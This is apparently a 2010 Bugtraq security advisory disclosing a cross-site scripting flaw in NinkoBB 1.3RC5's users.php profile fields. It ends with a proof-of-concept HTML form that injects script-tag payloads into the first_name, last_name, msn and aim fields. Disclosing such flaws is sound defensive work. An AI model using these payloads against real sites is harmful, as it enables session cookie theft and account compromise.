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Message-Id: <201010271047.o9RAlZaY020447@htbridge.ch>
Date: Wed, 27 Oct 2010 12:47:35 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS in NinkoBB
Vulnerability ID: HTB22652
Reference: http://www.htbridge.ch/advisory/xss_in_ninkobb.html
Product: NinkoBB
Vendor: NinkoBB ( http://ninkobb.com )
Vulnerable Version: 1.3RC5 and probably prior versions
Vendor Notification: 13 October 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "users.php" script to properly sanitize user-supplied input in "msn","aim","first_name" and "last_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/users.php?a=profile" method="post" />
<input type="hidden" name="first_name" value=""><script>alert('XSS1');</script>">
<input type="hidden" name="last_name" value=""><script>alert('XSS2');</script>">
<input type="hidden" name="msn" value=""><script>alert('XSS3');</script>">
<input type="hidden" name="aim" value=""><script>alert('XSS4');</script>">
<input type="submit" name="profile" value="submit">
</form>
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